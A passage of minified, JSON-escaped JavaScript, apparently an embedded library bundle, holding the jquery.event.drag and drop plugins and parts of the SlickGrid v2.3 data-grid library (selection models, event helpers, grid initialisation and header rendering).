o.drag=n.drag,o.proxy=n.proxy||n.drag,o.startX=t.pageX,o.startY=t.pageY,o.deltaX=e.pageX-t.pageX,o.deltaY=e.pageY-t.pageY,o.originalX=n.offset.left,o.originalY=n.offset.top,o.offsetX=o.originalX+o.deltaX,o.offsetY=o.originalY+o.deltaY,o.drop=g.flatten((n.drop||[]).slice()),o.available=g.flatten((n.droppable||[]).slice()),o},element:function(e){if(e&&(e.jquery||1==e.nodeType))return e},flatten:function(e){return f.map(e,function(e){return e&&e.jquery?f.makeArray(e):e&&e.length?g.flatten(e):e})},textselect:function(e){f(document)[e?\\\"off\\\":\\\"on\\\"](\\\"selectstart\\\",g.dontstart).css(\\\"MozUserSelect\\\",e?\\\"\\\":\\\"none\\\"),document.unselectable=e?\\\"off\\\":\\\"on\\\"},dontstart:function(){return!1},callback:function(){}};g.callback.prototype={update:function(){o.drop&&this.available.length&&f.each(this.available,function(e){o.drop.locate(this,e)})}};var r=h.dispatch;h.dispatch=function(e){if(!(0<f.data(this,\\\"suppress.\\\"+e.type)-(new Date).getTime()))return r.apply(this,arguments);f.removeData(this,\\\"suppress.\\\"+e.type)},o.draginit=o.dragstart=o.dragend=g},443:function(e,t,n){\\n\",\n       \"      /*!\\n\",\n       \"           * jquery.event.drop - v 2.3.0\\n\",\n       \"           * Copyright (c) 2010 Three Dub Media - http://threedubmedia.com\\n\",\n       \"           * Open Source MIT License - http://threedubmedia.com/code/license\\n\",\n       \"           */\\n\",\n       \"      var f=e(448);f.fn.drop=function(e,t,n){var o=\\\"string\\\"==typeof e?e:\\\"\\\",r=f.isFunction(e)?e:f.isFunction(t)?t:null;return 0!==o.indexOf(\\\"drop\\\")&&(o=\\\"drop\\\"+o),n=(e==r?t:n)||{},r?this.on(o,n,r):this.trigger(o)},f.drop=function(e){e=e||{},g.multi=!0===e.multi?1/0:!1===e.multi?1:isNaN(e.multi)?g.multi:e.multi,g.delay=e.delay||g.delay,g.tolerance=f.isFunction(e.tolerance)?e.tolerance:null===e.tolerance?null:g.tolerance,g.mode=e.mode||g.mode||\\\"intersect\\\"};var o=f.event,h=o.special,g=f.event.special.drop={multi:1,delay:20,mode:\\\"overlap\\\",targets:[],datakey:\\\"dropdata\\\",noBubble:!0,add:function(e){var t=f.data(this,g.datakey);t.related+=1},remove:function(){f.data(this,g.datakey).related-=1},setup:function(){if(!f.data(this,g.datakey)){f.data(this,g.datakey,{related:0,active:[],anyactive:0,winner:0,location:{}}),g.targets.push(this)}},teardown:function(){var e=f.data(this,g.datakey)||{};if(!e.related){f.removeData(this,g.datakey);var t=this;g.targets=f.grep(g.targets,function(e){return e!==t})}},handler:function(e,t){var n;if(t)switch(e.type){case\\\"mousedown\\\":case\\\"touchstart\\\":n=f(g.targets),\\\"string\\\"==typeof t.drop&&(n=n.filter(t.drop)),n.each(function(){var e=f.data(this,g.datakey);e.active=[],e.anyactive=0,e.winner=0}),t.droppable=n,h.drag.hijack(e,\\\"dropinit\\\",t);break;case\\\"mousemove\\\":case\\\"touchmove\\\":g.event=e,g.timer||g.tolerate(t);break;case\\\"mouseup\\\":case\\\"touchend\\\":g.timer=clearTimeout(g.timer),t.propagates&&(h.drag.hijack(e,\\\"drop\\\",t),h.drag.hijack(e,\\\"dropend\\\",t))}},locate:function(e,t){var n=f.data(e,g.datakey),o=f(e),r=o.offset()||{},i=o.outerHeight(),l=o.outerWidth(),s={elem:e,width:l,height:i,top:r.top,left:r.left,right:r.left+l,bottom:r.top+i};return n&&(n.location=s,n.index=t,n.elem=e),s},contains:function(e,t){return(t[0]||t.left)>=e.left&&(t[0]||t.right)<=e.right&&(t[1]||t.top)>=e.top&&(t[1]||t.bottom)<=e.bottom},modes:{intersect:function(e,t,n){return this.contains(n,[e.pageX,e.pageY])?1e9:this.modes.overlap.apply(this,arguments)},overlap:function(e,t,n){return Math.max(0,Math.min(n.bottom,t.bottom)-Math.max(n.top,t.top))*Math.max(0,Math.min(n.right,t.right)-Math.max(n.left,t.left))},fit:function(e,t,n){return this.contains(n,t)?1:0},middle:function(e,t,n){return this.contains(n,[t.left+.5*t.width,t.top+.5*t.height])?1:0}},sort:function(e,t){return t.winner-e.winner||e.index-t.index},tolerate:function(e){var t,n,o,r,i,l,s,a,c=0,u=e.interactions.length,d=[g.event.pageX,g.event.pageY],p=g.tolerance||g.modes[g.mode];do{if(a=e.interactions[c]){if(!a)return;a.drop=[],i=[],l=a.droppable.length,p&&(o=g.locate(a.proxy)),t=0;do{if(s=a.droppable[t]){if(r=f.data(s,g.datakey),!(n=r.location))continue;r.winner=p?p.call(g,g.event,o,n):g.contains(n,d)?1:0,i.push(r)}}while(++t<l);for(i.sort(g.sort),t=0;(r=i[t])&&(r.winner&&a.drop.length<g.multi?(r.active[c]||r.anyactive||(!1!==h.drag.hijack(g.event,\\\"dropstart\\\",e,c,r.elem)[0]?(r.active[c]=1,r.anyactive+=1):r.winner=0),r.winner&&a.drop.push(r.elem)):r.active[c]&&1==r.anyactive&&(h.drag.hijack(g.event,\\\"dropend\\\",e,c,r.elem),r.active[c]=0,r.anyactive-=1)),++t<l;);}}while(++c<u);g.last&&d[0]==g.last.pageX&&d[1]==g.last.pageY?delete g.timer:g.timer=setTimeout(function(){g.tolerate(e)},g.delay),g.last=g.event}};h.dropinit=h.dropstart=h.dropend=g},444:function(e,t,n){var d=e(448),p=e(446);t.exports={CheckboxSelectColumn:function(e){var l,t=new p.EventHandler,s={},a=d.extend(!0,{},{columnId:\\\"_checkbox_selector\\\",cssClass:null,toolTip:\\\"Select/Deselect All\\\",width:30},e);function n(e,t){var n,o,r=l.getSelectedRows(),i={};for(o=0;o<r.length;o++)n=r[o],i[n]=!0,i[n]!==s[n]&&(l.invalidateRow(n),delete s[n]);for(o in s)l.invalidateRow(o);s=i,l.render(),r.length&&r.length==l.getDataLength()?l.updateColumnHeader(a.columnId,\\\"<input type='checkbox' checked='checked'>\\\",a.toolTip):l.updateColumnHeader(a.columnId,\\\"<input type='checkbox'>\\\",a.toolTip)}function o(e,t){32==e.which&&l.getColumns()[t.cell].id===a.columnId&&(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit()||i(t.row),e.preventDefault(),e.stopImmediatePropagation())}function r(e,t){if(l.getColumns()[t.cell].id===a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();i(t.row),e.stopPropagation(),e.stopImmediatePropagation()}}function i(t){s[t]?l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return e!=t})):l.setSelectedRows(l.getSelectedRows().concat(t))}function c(e,t){if(t.column.id==a.columnId&&d(e.target).is(\\\":checkbox\\\")){if(l.getEditorLock().isActive()&&!l.getEditorLock().commitCurrentEdit())return e.preventDefault(),void e.stopImmediatePropagation();if(d(e.target).is(\\\":checked\\\")){for(var n=[],o=0;o<l.getDataLength();o++)n.push(o);l.setSelectedRows(n)}else l.setSelectedRows([]);e.stopPropagation(),e.stopImmediatePropagation()}}function u(e,t,n,o,r){return r?s[e]?\\\"<input type='checkbox' checked='checked'>\\\":\\\"<input type='checkbox'>\\\":null}d.extend(this,{init:function(e){l=e,t.subscribe(l.onSelectedRowsChanged,n).subscribe(l.onClick,r).subscribe(l.onHeaderClick,c).subscribe(l.onKeyDown,o)},destroy:function(){t.unsubscribeAll()},deSelectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]&&(o[o.length]=e[t]);l.setSelectedRows(d.grep(l.getSelectedRows(),function(e){return o.indexOf(e)<0}))},selectRows:function(e){var t,n=e.length,o=[];for(t=0;t<n;t++)s[e[t]]||(o[o.length]=e[t]);l.setSelectedRows(l.getSelectedRows().concat(o))},getColumnDefinition:function(){return{id:a.columnId,name:\\\"<input type='checkbox'>\\\",toolTip:a.toolTip,field:\\\"sel\\\",width:a.width,resizable:!1,sortable:!1,cssClass:a.cssClass,formatter:u}}})}}},445:function(e,t,n){var v=e(448),w=e(446);t.exports={RowSelectionModel:function(t){var c,n,o,u=[],r=this,i=new w.EventHandler,l={selectActiveRow:!0};function s(e){return function(){n||(n=!0,e.apply(this,arguments),n=!1)}}function d(e){for(var t=[],n=0;n<e.length;n++)for(var o=e[n].fromRow;o<=e[n].toRow;o++)t.push(o);return t}function p(e){for(var t=[],n=c.getColumns().length-1,o=0;o<e.length;o++)t.push(new w.Range(e[o],0,e[o],n));return t}function a(){return d(u)}function f(e){(u&&0!==u.length||e&&0!==e.length)&&(u=e,r.onSelectedRangesChanged.notify(u))}function h(e,t){o.selectActiveRow&&null!=t.row&&f([new w.Range(t.row,0,t.row,c.getColumns().length-1)])}function g(e){var t=c.getActiveCell();if(t&&e.shiftKey&&!e.ctrlKey&&!e.altKey&&!e.metaKey&&(38==e.which||40==e.which)){var n=a();n.sort(function(e,t){return e-t}),n.length||(n=[t.row]);var o,r=n[0],i=n[n.length-1];if(0<=(o=40==e.which?t.row<i||r==i?++i:++r:t.row<i?--i:--r)&&o<c.getDataLength()){c.scrollRowIntoView(o);var l=p(function(e,t){var n,o=[];for(n=e;n<=t;n++)o.push(n);for(n=t;n<e;n++)o.push(n);return o}(r,i));f(l)}e.preventDefault(),e.stopPropagation()}}function m(e){var n=c.getCellFromEvent(e);if(!n||!c.canCellBeActive(n.row,n.cell))return!1;if(!c.getOptions().multiSelect||!e.ctrlKey&&!e.shiftKey&&!e.metaKey)return!1;var t=d(u),o=v.inArray(n.row,t);if(-1===o&&(e.ctrlKey||e.metaKey))t.push(n.row),c.setActiveCell(n.row,n.cell);else if(-1!==o&&(e.ctrlKey||e.metaKey))t=v.grep(t,function(e,t){return e!==n.row}),c.setActiveCell(n.row,n.cell);else if(t.length&&e.shiftKey){var r=t.pop(),i=Math.min(n.row,r),l=Math.max(n.row,r);t=[];for(var s=i;s<=l;s++)s!==r&&t.push(s);t.push(r),c.setActiveCell(n.row,n.cell)}var a=p(t);return f(a),e.stopImmediatePropagation(),!0}v.extend(this,{getSelectedRows:a,setSelectedRows:function(e){f(p(e))},getSelectedRanges:function(){return u},setSelectedRanges:f,init:function(e){o=v.extend(!0,{},l,t),c=e,i.subscribe(c.onActiveCellChanged,s(h)),i.subscribe(c.onKeyDown,s(g)),i.subscribe(c.onClick,s(m))},destroy:function(){i.unsubscribeAll()},onSelectedRangesChanged:new w.Event})}}},446:function(e,t,n){function l(){var e=!1,t=!1;this.stopPropagation=function(){e=!0},this.isPropagationStopped=function(){return e},this.stopImmediatePropagation=function(){t=!0},this.isImmediatePropagationStopped=function(){return t}}function o(){this.__nonDataRow=!0}function r(){this.__group=!0,this.level=0,this.count=0,this.value=null,this.title=null,this.collapsed=!1,this.selectChecked=!1,this.totals=null,this.rows=[],this.groups=null,this.groupingKey=null}function i(){this.__groupTotals=!0,this.group=null,this.initialized=!1}function s(){var t=null;this.isActive=function(e){return e?t===e:null!==t},this.activate=function(e){if(e!==t){if(null!==t)throw new Error(\\\"SlickGrid.EditorLock.activate: an editController is still active, can't activate another editController\\\");if(!e.commitCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .commitCurrentEdit()\\\");if(!e.cancelCurrentEdit)throw new Error(\\\"SlickGrid.EditorLock.activate: editController must implement .cancelCurrentEdit()\\\");t=e}},this.deactivate=function(e){if(t!==e)throw new Error(\\\"SlickGrid.EditorLock.deactivate: specified editController is not the currently active one\\\");t=null},this.commitCurrentEdit=function(){return!t||t.commitCurrentEdit()},this.cancelCurrentEdit=function(){return!t||t.cancelCurrentEdit()}}(r.prototype=new o).equals=function(e){return this.value===e.value&&this.count===e.count&&this.collapsed===e.collapsed&&this.title===e.title},i.prototype=new o,t.exports={Event:function(){var i=[];this.subscribe=function(e){i.push(e)},this.unsubscribe=function(e){for(var t=i.length-1;0<=t;t--)i[t]===e&&i.splice(t,1)},this.notify=function(e,t,n){var o;t=t||new l,n=n||this;for(var r=0;r<i.length&&!t.isPropagationStopped()&&!t.isImmediatePropagationStopped();r++)o=i[r].call(n,t,e);return o}},EventData:l,EventHandler:function(){var o=[];this.subscribe=function(e,t){return o.push({event:e,handler:t}),e.subscribe(t),this},this.unsubscribe=function(e,t){for(var n=o.length;n--;)if(o[n].event===e&&o[n].handler===t)return o.splice(n,1),void e.unsubscribe(t);return this},this.unsubscribeAll=function(){for(var e=o.length;e--;)o[e].event.unsubscribe(o[e].handler);return o=[],this}},Range:function(e,t,n,o){void 0===n&&void 0===o&&(n=e,o=t);this.fromRow=Math.min(e,n),this.fromCell=Math.min(t,o),this.toRow=Math.max(e,n),this.toCell=Math.max(t,o),this.isSingleRow=function(){return this.fromRow==this.toRow},this.isSingleCell=function(){return this.fromRow==this.toRow&&this.fromCell==this.toCell},this.contains=function(e,t){return e>=this.fromRow&&e<=this.toRow&&t>=this.fromCell&&t<=this.toCell},this.toString=function(){return this.isSingleCell()?\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\")\\\":\\\"(\\\"+this.fromRow+\\\":\\\"+this.fromCell+\\\" - \\\"+this.toRow+\\\":\\\"+this.toCell+\\\")\\\"}},NonDataRow:o,Group:r,GroupTotals:i,EditorLock:s,GlobalEditorLock:new s,keyCode:{BACKSPACE:8,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,ESC:27,HOME:36,INSERT:45,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,RIGHT:39,TAB:9,UP:38,C:67,V:86},preClickClassName:\\\"slick-edit-preclick\\\"}},447:function _(require,module,exports){\\n\",\n       \"      /**\\n\",\n       \"           * @license\\n\",\n       \"           * (c) 2009-2016 Michael Leibman\\n\",\n       \"           * michael{dot}leibman{at}gmail{dot}com\\n\",\n       \"           * http://github.com/mleibman/slickgrid\\n\",\n       \"           *\\n\",\n       \"           * Distributed under MIT license.\\n\",\n       \"           * All rights reserved.\\n\",\n       \"           *\\n\",\n       \"           * SlickGrid v2.3\\n\",\n       \"           *\\n\",\n       \"           * NOTES:\\n\",\n       \"           *     Cell/row DOM manipulations are done directly bypassing jQuery's DOM manipulation methods.\\n\",\n       \"           *     This increases the speed dramatically, but can only be done safely because there are no event handlers\\n\",\n       \"           *     or data associated with any cell/row DOM nodes.  Cell editors must make sure they implement .destroy()\\n\",\n       \"           *     and do proper cleanup.\\n\",\n       \"           */\\n\",\n       \"      var $=require(448),Slick=require(446),scrollbarDimensions,maxSupportedCssHeight;function SlickGrid(container,data,columns,options){$.fn.drag||require(442),$.fn.drop||require(443);var defaults={explicitInitialization:!1,rowHeight:25,defaultColumnWidth:80,enableAddRow:!1,leaveSpaceForNewRows:!1,editable:!1,autoEdit:!0,enableCellNavigation:!0,enableColumnReorder:!0,asyncEditorLoading:!1,asyncEditorLoadDelay:100,forceFitColumns:!1,enableAsyncPostRender:!1,asyncPostRenderDelay:50,enableAsyncPostRenderCleanup:!1,asyncPostRenderCleanupDelay:40,autoHeight:!1,editorLock:Slick.GlobalEditorLock,showHeaderRow:!1,headerRowHeight:25,createFooterRow:!1,showFooterRow:!1,footerRowHeight:25,createPreHeaderPanel:!1,showPreHeaderPanel:!1,preHeaderPanelHeight:25,showTopPanel:!1,topPanelHeight:25,formatterFactory:null,editorFactory:null,cellFlashingCssClass:\\\"flashing\\\",selectedCellCssClass:\\\"selected\\\",multiSelect:!0,enableTextSelectionOnCells:!1,dataItemColumnValueExtractor:null,fullWidthRows:!1,multiColumnSort:!1,numberedMultiColumnSort:!1,tristateMultiColumnSort:!1,defaultFormatter:defaultFormatter,forceSyncScrolling:!1,addNewRowCssClass:\\\"new-row\\\",preserveCopiedSelectionOnPaste:!1,showCellSelection:!0},columnDefaults={name:\\\"\\\",resizable:!0,sortable:!1,minWidth:30,rerenderOnResize:!1,headerCssClass:null,defaultSortAsc:!0,focusable:!0,selectable:!0},th,h,ph,n,cj,page=0,offset=0,vScrollDir=1,initialized=!1,$container,uid=\\\"slickgrid_\\\"+Math.round(1e6*Math.random()),self=this,$focusSink,$focusSink2,$headerScroller,$headers,$headerRow,$headerRowScroller,$headerRowSpacer,$footerRow,$footerRowScroller,$footerRowSpacer,$preHeaderPanel,$preHeaderPanelScroller,$preHeaderPanelSpacer,$topPanelScroller,$topPanel,$viewport,$canvas,$style,$boundAncestors,stylesheet,columnCssRulesL,columnCssRulesR,viewportH,viewportW,canvasWidth,viewportHasHScroll,viewportHasVScroll,headerColumnWidthDiff=0,headerColumnHeightDiff=0,cellWidthDiff=0,cellHeightDiff=0,jQueryNewWidthBehaviour=!1,absoluteColumnMinWidth,sortIndicatorCssClass=\\\"slick-sort-indicator\\\",tabbingDirection=1,activePosX,activeRow,activeCell,activeCellNode=null,currentEditor=null,serializedEditorValue,editController,rowsCache={},renderedRows=0,numVisibleRows,prevScrollTop=0,scrollTop=0,lastRenderedScrollTop=0,lastRenderedScrollLeft=0,prevScrollLeft=0,scrollLeft=0,selectionModel,selectedRows=[],plugins=[],cellCssClasses={},columnsById={},sortColumns=[],columnPosLeft=[],columnPosRight=[],pagingActive=!1,pagingIsLastPage=!1,h_editorLoader=null,h_render=null,h_postrender=null,h_postrenderCleanup=null,postProcessedRows={},postProcessToRow=null,postProcessFromRow=null,postProcessedCleanupQueue=[],postProcessgroupId=0,counter_rows_rendered=0,counter_rows_removed=0,rowNodeFromLastMouseWheelEvent,zombieRowNodeFromLastMouseWheelEvent,zombieRowCacheFromLastMouseWheelEvent,zombieRowPostProcessedFromLastMouseWheelEvent,cssShow={position:\\\"absolute\\\",visibility:\\\"hidden\\\",display:\\\"block\\\"},$hiddenParents,oldProps=[];function init(){if(($container=container instanceof $?container:$(container)).length<1)throw new Error(\\\"SlickGrid requires a valid container, \\\"+container+\\\" does not exist in the DOM.\\\");cacheCssForHiddenInit(),maxSupportedCssHeight=maxSupportedCssHeight||getMaxSupportedCssHeight(),scrollbarDimensions=scrollbarDimensions||measureScrollbar(),options=$.extend({},defaults,options),validateAndEnforceOptions(),columnDefaults.width=options.defaultColumnWidth,columnsById={};for(var e=0;e<columns.length;e++){var t=columns[e]=$.extend({},columnDefaults,columns[e]);columnsById[t.id]=e,t.minWidth&&t.width<t.minWidth&&(t.width=t.minWidth),t.maxWidth&&t.width>t.maxWidth&&(t.width=t.maxWidth)}if(options.enableColumnReorder&&!$.fn.sortable)throw new Error(\\\"SlickGrid's 'enableColumnReorder = true' option requires jquery-ui.sortable module to be loaded\\\");editController={commitCurrentEdit:commitCurrentEdit,cancelCurrentEdit:cancelCurrentEdit},$container.empty().css(\\\"overflow\\\",\\\"hidden\\\").css(\\\"outline\\\",0).addClass(uid).addClass(\\\"ui-widget\\\"),/relative|absolute|fixed/.test($container.css(\\\"position\\\"))||$container.css(\\\"position\\\",\\\"relative\\\"),$focusSink=$(\\\"<div tabIndex='0' hideFocus style='position:fixed;width:0;height:0;top:0;left:0;outline:0;'></div>\\\").appendTo($container),options.createPreHeaderPanel&&($preHeaderPanelScroller=$(\\\"<div class='slick-preheader-panel ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$preHeaderPanel=$(\\\"<div />\\\").appendTo($preHeaderPanelScroller),$preHeaderPanelSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($preHeaderPanelScroller),options.showPreHeaderPanel||$preHeaderPanelScroller.hide()),$headerScroller=$(\\\"<div class='slick-header ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),($headers=$(\\\"<div class='slick-header-columns' style='left:-1000px' />\\\").appendTo($headerScroller)).width(getHeadersWidth()),$headerRowScroller=$(\\\"<div class='slick-headerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$headerRow=$(\\\"<div class='slick-headerrow-columns' />\\\").appendTo($headerRowScroller),$headerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($headerRowScroller),$topPanelScroller=$(\\\"<div class='slick-top-panel-scroller ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$topPanel=$(\\\"<div class='slick-top-panel' style='width:10000px' />\\\").appendTo($topPanelScroller),options.showTopPanel||$topPanelScroller.hide(),options.showHeaderRow||$headerRowScroller.hide(),($viewport=$(\\\"<div class='slick-viewport' style='width:100%;overflow:auto;outline:0;position:relative;;'>\\\").appendTo($container)).css(\\\"overflow-y\\\",options.autoHeight?\\\"hidden\\\":\\\"auto\\\"),$canvas=$(\\\"<div class='grid-canvas' />\\\").appendTo($viewport),options.createFooterRow&&($footerRowScroller=$(\\\"<div class='slick-footerrow ui-state-default' style='overflow:hidden;position:relative;' />\\\").appendTo($container),$footerRow=$(\\\"<div class='slick-footerrow-columns' />\\\").appendTo($footerRowScroller),$footerRowSpacer=$(\\\"<div style='display:block;height:1px;position:absolute;top:0;left:0;'></div>\\\").css(\\\"width\\\",getCanvasWidth()+scrollbarDimensions.width+\\\"px\\\").appendTo($footerRowScroller),options.showFooterRow||$footerRowScroller.hide()),options.numberedMultiColumnSort&&(sortIndicatorCssClass=\\\"slick-sort-indicator-numbered\\\"),$focusSink2=$focusSink.clone().appendTo($container),options.explicitInitialization||finishInitialization()}function finishInitialization(){initialized||(initialized=!0,viewportW=parseFloat($.css($container[0],\\\"width\\\",!0)),measureCellPaddingAndBorder(),disableSelection($headers),options.enableTextSelectionOnCells||$viewport.on(\\\"selectstart.ui\\\",function(e){return $(e.target).is(\\\"input,textarea\\\")}),updateColumnCaches(),createColumnHeaders(),setupColumnSort(),createCssRules(),resizeCanvas(),bindAncestorScrollEvents(),$container.on(\\\"resize.slickgrid\\\",resizeCanvas),$viewport.on(\\\"scroll\\\",handleScroll),$headerScroller.on(\\\"contextmenu\\\",handleHeaderContextMenu).on(\\\"click\\\",handleHeaderClick).on(\\\"mouseenter\\\",\\\".slick-header-column\\\",handleHeaderMouseEnter).on(\\\"mouseleave\\\",\\\".slick-header-column\\\",handleHeaderMouseLeave),$headerRowScroller.on(\\\"scroll\\\",handleHeaderRowScroll),options.createFooterRow&&$footerRowScroller.on(\\\"scroll\\\",handleFooterRowScroll),options.createPreHeaderPanel&&$preHeaderPanelScroller.on(\\\"scroll\\\",handlePreHeaderPanelScroll),$focusSink.add($focusSink2).on(\\\"keydown\\\",handleKeyDown),$canvas.on(\\\"keydown\\\",handleKeyDown).on(\\\"click\\\",handleClick).on(\\\"dblclick\\\",handleDblClick).on(\\\"contextmenu\\\",handleContextMenu).on(\\\"draginit\\\",handleDragInit).on(\\\"dragstart\\\",{distance:3},handleDragStart).on(\\\"drag\\\",handleDrag).on(\\\"dragend\\\",handleDragEnd).on(\\\"mouseenter\\\",\\\".slick-cell\\\",handleMouseEnter).on(\\\"mouseleave\\\",\\\".slick-cell\\\",handleMouseLeave),navigator.userAgent.toLowerCase().match(/webkit/)&&navigator.userAgent.toLowerCase().match(/macintosh/)&&$canvas.on(\\\"mousewheel\\\",handleMouseWheel),restoreCssFromHiddenInit())}function cacheCssForHiddenInit(){($hiddenParents=$container.parents().addBack().not(\\\":visible\\\")).each(function(){var e={};for(var t in cssShow)e[t]=this.style[t],this.style[t]=cssShow[t];oldProps.push(e)})}function restoreCssFromHiddenInit(){$hiddenParents.each(function(e){var t=oldProps[e];for(var n in cssShow)this.style[n]=t[n]})}function registerPlugin(e){plugins.unshift(e),e.init(self)}function unregisterPlugin(e){for(var t=plugins.length;0<=t;t--)if(plugins[t]===e){plugins[t].destroy&&plugins[t].destroy(),plugins.splice(t,1);break}}function setSelectionModel(e){selectionModel&&(selectionModel.onSelectedRangesChanged.unsubscribe(handleSelectedRangesChanged),selectionModel.destroy&&selectionModel.destroy()),(selectionModel=e)&&(selectionModel.init(self),selectionModel.onSelectedRangesChanged.subscribe(handleSelectedRangesChanged))}function getSelectionModel(){return selectionModel}function getCanvasNode(){return $canvas[0]}function measureScrollbar(){var e=$(\\\"<div style='position:absolute; top:-10000px; left:-10000px; width:100px; height:100px; overflow:scroll;'></div>\\\").appendTo(\\\"body\\\"),t={width:e.width()-e[0].clientWidth,height:e.height()-e[0].clientHeight};return e.remove(),t}function getColumnTotalWidth(e){for(var t=0,n=0,o=columns.length;n<o;n++){var r=columns[n].width;t+=r}return e&&(t+=scrollbarDimensions.width),t}function getHeadersWidth(){var e=getColumnTotalWidth(!0);return Math.max(e,viewportW)+1e3}function getCanvasWidth(){for(var e=viewportHasVScroll?viewportW-scrollbarDimensions.width:viewportW,t=0,n=columns.length;n--;)t+=columns[n].width;return options.fullWidthRows?Math.max(t,e):t}function updateCanvasWidth(e){var t=canvasWidth;(canvasWidth=getCanvasWidth())!=t&&($canvas.width(canvasWidth),$headerRow.width(canvasWidth),options.createFooterRow&&$footerRow.width(canvasWidth),options.createPreHeaderPanel&&$preHeaderPanel.width(canvasWidth),$headers.width(getHeadersWidth()),viewportHasHScroll=canvasWidth>viewportW-scrollbarDimensions.width);var n=canvasWidth+(viewportHasVScroll?scrollbarDimensions.width:0);$headerRowSpacer.width(n),options.createFooterRow&&$footerRowSpacer.width(n),options.createPreHeaderPanel&&$preHeaderPanelSpacer.width(n),(canvasWidth!=t||e)&&applyColumnWidths()}function disableSelection(e){e&&e.jquery&&e.attr(\\\"unselectable\\\",\\\"on\\\").css(\\\"MozUserSelect\\\",\\\"none\\\").on(\\\"selectstart.ui\\\",function(){return!1})}function getMaxSupportedCssHeight(){for(var e=1e6,t=navigator.userAgent.toLowerCase().match(/firefox/)?6e6:1e9,n=$(\\\"<div style='display:none' />\\\").appendTo(document.body);;){var o=2*e;if(n.css(\\\"height\\\",o),t<o||n.height()!==o)break;e=o}return n.remove(),e}function getUID(){return uid}function getHeaderColumnWidthDiff(){return headerColumnWidthDiff}function getScrollbarDimensions(){return scrollbarDimensions}function bindAncestorScrollEvents(){for(var e=$canvas[0];(e=e.parentNode)!=document.body&&null!=e;)if(e==$viewport[0]||e.scrollWidth!=e.clientWidth||e.scrollHeight!=e.clientHeight){var t=$(e);$boundAncestors=$boundAncestors?$boundAncestors.add(t):t,t.on(\\\"scroll.\\\"+uid,handleActiveCellPositionChange)}}function unbindAncestorScrollEvents(){$boundAncestors&&($boundAncestors.off(\\\"scroll.\\\"+uid),$boundAncestors=null)}function updateColumnHeader(e,t,n){if(initialized){var o=getColumnIndex(e);if(null!=o){var r=columns[o],i=$headers.children().eq(o);i&&(void 0!==t&&(columns[o].name=t),void 0!==n&&(columns[o].toolTip=n),trigger(self.onBeforeHeaderCellDestroy,{node:i[0],column:r,grid:self}),i.attr(\\\"title\\\",n||\\\"\\\").children().eq(0).html(t),trigger(self.onHeaderCellRendered,{node:i[0],column:r,grid:self}))}}}function getHeaderRow(){return $headerRow[0]}function getFooterRow(){return $footerRow[0]}function getPreHeaderPanel(){return $preHeaderPanel[0]}function getHeaderRowColumn(e){var t=getColumnIndex(e),n=$headerRow.children().eq(t);return n&&n[0]}function getFooterRowColumn(e){var t=getColumnIndex(e),n=$footerRow.children().eq(t);return n&&n[0]}function createColumnHeaders(){function e(){$(this).addClass(\\\"ui-state-hover\\\")}function t(){$(this).removeClass(\\\"ui-state-hover\\\")}$headers.find(\\\".slick-header-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderCellDestroy,{node:this,column:e,grid:self})}),$headers.empty(),$headers.width(getHeadersWidth()),$headerRow.find(\\\".slick-headerrow-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeHeaderRowCellDestroy,{node:this,column:e,grid:self})}),$headerRow.empty(),options.createFooterRow&&($footerRow.find(\\\".slick-footerrow-column\\\").each(function(){var e=$(this).data(\\\"column\\\");e&&trigger(self.onBeforeFooterRowCellDestroy,{node:this,column:e})}),$footerRow.empty());for(var n=0;n<columns.length;n++){var o=columns[n],r=$(\\\"<div class='ui-state-default slick-header-column' />\\\").html(\\\"<span class='slick-column-name'>\\\"+o.name+\\\"</span>\\\").width(o.width-headerColumnWidthDiff).attr(\\\"id\\\",\\\"\\\"+uid+o.id).attr(\\\"title\\\",o.toolTip||\\\"\\\").data(\\\"column\\\",o).addClass(o.headerCssClass||\\\"\\\").appendTo($headers);if((options.enableColumnReorder||o.sortable)&&r.on(\\\"mouseenter\\\",e).on(\\\"mouseleave\\\",t),o.sortable&&(r.addClass(\\\"slick-header-sortable\\\"),r.append(\\\"<span class='\\\"+sortIndicatorCssClass+\\\"' />\\\")),trigger(self.onHeaderCellRendered,{node:r[0],column:o,grid:self}),options.showHeaderRow){var i=$(\\\"<div class='ui-state-default slick-headerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($headerRow);trigger(self.onHeaderRowCellRendered,{node:i[0],column:o,grid:self})}if(options.createFooterRow&&options.showFooterRow){var l=$(\\\"<div class='ui-state-default slick-footerrow-column l\\\"+n+\\\" r\\\"+n+\\\"'></div>\\\").data(\\\"column\\\",o).appendTo($footerRow);trigger(self.onFooterRowCellRendered,{node:l[0],column:o})}}setSortColumns(sortColumns),setupColumnResize(),options.enableColumnReorder&&(\\\"function\\\"==typeof options.enableColumnReorder?options.enableColumnReorder(self,$headers,headerColumnWidthDiff,setColumns,setupColumnResize,columns,getColumnIndex,uid,trigger):setupColumnReorder())}function setupColumnSort(){$headers.click(function(e){if(e.metaKey=e.metaKey||e.ctrlKey,!$(e.target).hasClass(\\\"slick-resizable-handle\\\")){var t=$(e.target).closest(\\\".slick-header-column\\\");if(t.length){var n=t.data(\\\"column\\\");if(n.sortable){if(!getEditorLock().commitCurrentEdit())return;for(var 